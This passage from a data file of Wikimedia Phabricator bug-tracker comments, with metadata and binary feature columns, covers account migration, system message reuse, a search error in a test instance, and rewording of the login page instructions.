+https://gerrit.wikimedia.org/r/102635",,,1387441864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246743,Create global account on login/rename,"(In reply to comment #0)
+> Maybe this can also be checked on user login, than other (or the previous
+> renamed) user accounts without a conflict can also benefit from this. Should
+> be
+> part of a automigration (wgCentralAuthAutoMigrate).
+
+According to the documentation of $wgCentralAuthAutoMigrate, this should already happen if it is enabled.",,,1387441778,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+55655,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"They should use own messages or we run into problems even in the source language, see e.g. Change-Id: I565971a90fc383327a51d717a80013cb7a3e9c9b
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",High,80.0,1378045020,1390505545.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-4ttfpix6slf5mw6mouj7,task_description,resolved,True,c3,1,True,False,True,-96,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+255875,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,Approved by Siebrand. Thanks!,,,1390505545,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,True,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+255868,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 merged by jenkins-bot:
+Remove `login-throttled` system message reuse
+
+https://gerrit.wikimedia.org/r/108486",,,1390504385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,False,,,-75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+255863,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 had a related patch set uploaded by Microchip08:
+Remove `login-throttled` system message reuse
+
+https://gerrit.wikimedia.org/r/108486",,,1390200070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+255858,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword.",,,1384864580,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,True,,,-85,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1
+688,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance","Going to the preview instance's /maniphest/query/advanced/ and entering
+  marked duplicate
+in the ""Contains Words"" field, pressing ""Execute query"", I get:
+
+  Unhandled Exception (""HTTPFutureCURLResponseStatus"")
+  [cURL/7] (http://localhost:9200/phabricator/TASK,CMIT,MOCK,PROJ,QUES,DREV,USER,WIKI/_search)  <CURLE_COULDNT_CONNECT> 
+  The cURL library raised an error while making a request. You may be able to find more information about this error (error code: 7) on 
+  the cURL site: http://curl.haxx.se/libcurl/c/libcurl-errors.html#CURLECOULDNTCONNECT
+
+Note the http instead of https.
+
+Can anybody reproduce?
+
+Not sure how much time we want to spend potentially fixing this and if that indicates a deeper problem or not, hence not setting priority on this task.",High,80.0,1413661637,1413914794.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-clqtybgrz4eacc3nmiv2,task_description,declined,True,c3,1,True,False,True,-37,True,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+3553,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance",Perhaps something related with Elasticsearch default configuration in the puppet profile used to create Phabricator instances in Labs?,,,1413760724,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-clqtybgrz4eacc3nmiv2,task_subcomment,,True,c3,1,True,,,-37,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+3535,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance",">>! In T688#11757, @Qgil wrote:
+> This task is simpler: search doesn't work. Just type anything in the search box and you will get this error message.
+
+Alright, so ""search for text"" does not work. Searching for tasks with a certain assignee etc does work.",,,1413721495,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-clqtybgrz4eacc3nmiv2,task_subcomment,,True,c3,1,True,,,-37,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,0,1,0,1,1,0,1
+3528,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance",This task is simpler: search doesn't work. Just type anything in the search box and you will get this error message.,,,1413670917,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-clqtybgrz4eacc3nmiv2,task_subcomment,,True,c3,1,True,,,-37,True,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+545,Clearer instructions in the Phabricator login page,"After agreeing on declining {T543}, we still have a risk of confusing many Wikimedia-not-mediawiki.org  with the ""LDAP"" credentials and the MediaWiki button (i.e. ""But I don't have a mediawiki.org account!""). 
+
+Can we modify the instructions in the login page to make them clearer?
+
+>**Wikimedia and MediaWiki contributors use Phabricator to manage projects, log and fix bugs, and track progress. You can help!**
+
+>If you have an [[ http://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=MediaWiki&type=signup  | account ]] on any Wikimedia projects, such as Wikipedia.org or Mediawiki.org you already have an account on this site. Existing Gerrit/Labs accounts can be used to create account as well, 
+> [[ https://www.mediawiki.org/wiki/Phabricator/Help#Creating_your_account | learn more ]] about creating an account  an claiming previous Bugzilla and RT activity.
+
+
+",High,80.0,1412413077,1425549510.0,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-7xuymy2fhqybadsnt2bk,task_description,resolved,True,c3,1,True,True,True,-39,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1
+421324,Clearer instructions in the Phabricator login page,"Resolved with rOPUP3097e10e3e5c7f13d6de377e3e651c8ac736bd5e
+
+Thank you!",,,1425549510,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+421318,Clearer instructions in the Phabricator login page,"Change 194126 merged by Alexandros Kosiaris:
+Put clearer Login/Register instructions on the Phabricator login page
+
+[[https://gerrit.wikimedia.org/r/194126]]",,,1425548449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+420337,Clearer instructions in the Phabricator login page,"Fully acknowledged and agreed, but this is {T963} and it is a very different problem to solve.",,,1425417997,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+420335,Clearer instructions in the Phabricator login page,"I know we're working around some technical limitation, but I'll reiterate we're giving 90% of the screen to something 10% of users are using and 10% to something that 90% of users are using. there is so much emphasis on the LDAP login and we really want people to be using the oAuth login method.",,,1425417697,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-18,True,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+419952,Clearer instructions in the Phabricator login page,+1  Thank you!,,,1425399146,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+419951,Clearer instructions in the Phabricator login page,"I put a patch into Gerrit. Added the word ""below"". Not sure if ""connect"" and ""introduce"" are better than just ""log in / register"" but well we could bikeshed a lot about language I guess (and can have follow-up patches) and everything is better than what we have now anyway.",,,1425398676,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0
+419948,Clearer instructions in the Phabricator login page,"Change 194126 had a related patch set uploaded (by Aklapper):
+Put clearer Login/Register instructions on the Phabricator login page
+
+[[https://gerrit.wikimedia.org/r/194126]]
+",,,1425398481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,1
+417918,Clearer instructions in the Phabricator login page,"@JKrauska, this task is strictly about the title and text paragraph below. The other elements of the page are out of my control, not configurable. This texh thought could be changed in the next days if we agree on it. See T862 and the other blockers of that task.",,,1424982137,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0
+417797,Clearer instructions in the Phabricator login page,"@Qgil Your mock up has some added text at the top, but still has the fundamentally confusing Header to the text box. ""Login or Register With LDAP""   ""LDAP Username"" ""LDAP Password"".
+
+I would propose removing all those extra 'LDAP's.
+
+
+Is it really impossible to move the Federated Login button?",,,1424973495,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-18,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0
+417644,Clearer instructions in the Phabricator login page,"Here is a proposal for 100% practical instructions in the login page:
+
+{M7}
+
+{P334}
+
+Rationale:
+
+* The problem of this page is that users are confused by the LDAP form, and they don't see / don't get the MediaWiki button. While those elements stay hardcoded where they are, we should use the customizable text to address that problem.
+* The problem of this page is not to attract new Phabricator users or to explain what is Phabricator. For this reason, I'm not proposing the more explanatory/seducing versions that Jared and myself had proposed.
+
+I tried to edit https://phab-01.wmflabs.org/config/edit/auth.login-message/ to see the page live, but this configuration cannot be changed via web.
+
+If you like this text, I will be happy to upload my first Wikimedia Phabricator patch.  :) ",,,1424959462,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+405680,Clearer instructions in the Phabricator login page,"I have no idea how much of a diff it would be to maintain this (@mmodell: any idea?), but moving the ""Login or Register: MediaWiki"" button above the ""Login or Register with LDAP"" one, adding a ""(recommended)"" prefix to it, and an ""Or:"" between these two ways? Any hints to the place in the code are welcome.",,,1422900696,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-22,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0
+337380,Clearer instructions in the Phabricator login page,"Even if our current login page is far from ideal, the fact is that we have more than 1000 users now, and we are not hearing complaints. Lowering priority.
+
+On a related note, a Google Code-in student contributed a short screencast this weekend. It is now featured at https://www.mediawiki.org/wiki/Phabricator/Help#Creating_your_account",,,1418027526,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0
+4384,Clearer instructions in the Phabricator login page,"Ooops, sorry, I jumped directly to the mockup and didn't see your comment in the description. Sorry if my tone sounds harsh, maybe I was too much in execution mode this morning... I just wanted to enumerate the problems I see in the current text.
+
+Feel free to add the alternative text in the task description and/or edit the current draft, wiki style. This way we can discuss quickly the text here, without needing updated mockups.",,,1414523973,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+4369,Clearer instructions in the Phabricator login page,,,,1414519825,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+4368,Clearer instructions in the Phabricator login page,,,,1414519817,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+4367,Clearer instructions in the Phabricator login page,"@qgil, as I said in the mockup I'll be adding the LDAP login/registration method as well, I mentioned this in the notes on the mockup. From our conversation it sounds like most people will be using the OAuth method so it makes sense to highlight this and deprioritize the LDAP method which is less used and more confusing (as reported by users)",,,1414519810,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,1,0
+4366,Clearer instructions in the Phabricator login page,,,,1414519663,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+4355,Clearer instructions in the Phabricator login page,,,,1414515793,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+4315,Clearer instructions in the Phabricator login page,"Your mockup and the text ignores the fact that we have two authentication systems. As it is now, we cannot implement it.
+
+Also, the purpose of Phabricator is already explained in the homepage, do we need to repeat it here? We can assume that the user was in the homepage already, and decided to log in. Wouldn't it be better to focus the message in helping the user to log in?
+
+Note also that in other discussions it was considered relevant that users are aware that their Wikimedia username will be featured in their Phabricator profile before they create an account.
+
+These are the reasons behind the draft text featured in the task description above.",,,1414486382,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,0
+4302,Clearer instructions in the Phabricator login page,You can see the text in-situ in the attached mockup,,,1414449311,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+4301,Clearer instructions in the Phabricator login page,"**Proposed Header Text:**
+**Wikimedia Foundation and volunteers use Phabricator to manage projects, log and fix bugs, and track progress. You can help!**
+
+**Secondary Text:**
+If you have an account on any Wikimedia projects, such as Wikipedia.org or Mediawiki.org you already have an account on this site. ",,,1414449267,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+3040,Clearer instructions in the Phabricator login page,">>! In T545#8718, @JKrauska wrote:
+> In the office, 'LDAP' typically refers to a user's credentials against our local OpenLDAP server whose passwords are used for Wifi, VPN, the fileserver and Google Apps.
+> (also sync'd to a mirror in production to whitelist email endpoints)
+> 
+> In Labs, LDAP means an entirely different thing.
+
+Currently the page says "" [[ https://wikitech.wikimedia.org/wiki/Help:Getting_Started#Create_a_User_Account | Labs/LDAP user ]]"" (including the link).
+
+The text I'm proposing above says
+
+> You can also use your Gerrit/Labs credentials to connect via LDAP.
+
+
+> I'd suggest you do away with the keyword LDAP here and just call it a Phabricator login.
+> (no need to point out the system underneath)
+
+I wouldn't know what credentials should I enter when asked for ""a Phabricator login"". Sounds like creating a new local account, which we are not doing. I would never relate this ""Phabricator login"" with the Gerrit/Labs account.
+
+
+> (I'd like to get to the point where we refer to the office IT ldap as simply your Office IT account..)
+
+This is a WMF internal problem that you are in a very good position to solve.  :) 
+
+ 
+> Focus on the user experience/role -- not the underlying technology..
+> 
+> Make sense?
+
+Makes sense. I wonder whether ""LDAP"" could be substituted by ""wikitech.wikimedia.org"" in https://phabricator.wikimedia.org/auth/start/",,,1412695023,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-39,True,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+3023,Clearer instructions in the Phabricator login page,"In the office, 'LDAP' typically refers to a user's credentials against our local OpenLDAP server whose passwords are used for Wifi, VPN, the fileserver and Google Apps.
+(also sync'd to a mirror in production to whitelist email endpoints)
+
+In Labs, LDAP means an entirely different thing.
+
+I'd suggest you do away with the keyword LDAP here and just call it a Phabricator login.
+(no need to point out the system underneath)
+
+(I'd like to get to the point where we refer to the office IT ldap as simply your Office IT account..)
+
+Focus on the user experience/role -- not the underlying technology..
+
+Make sense?
+",,,1412648473,,PHID-USER-siktv47fljwejss47lay,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,False,,,-39,True,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+2962,Clearer instructions in the Phabricator login page,"Just added "" link to your mediawiki.org account will be displayed in your Phabricator profile."" as proposed in the description of T258.",,,1412586161,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-7xuymy2fhqybadsnt2bk,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
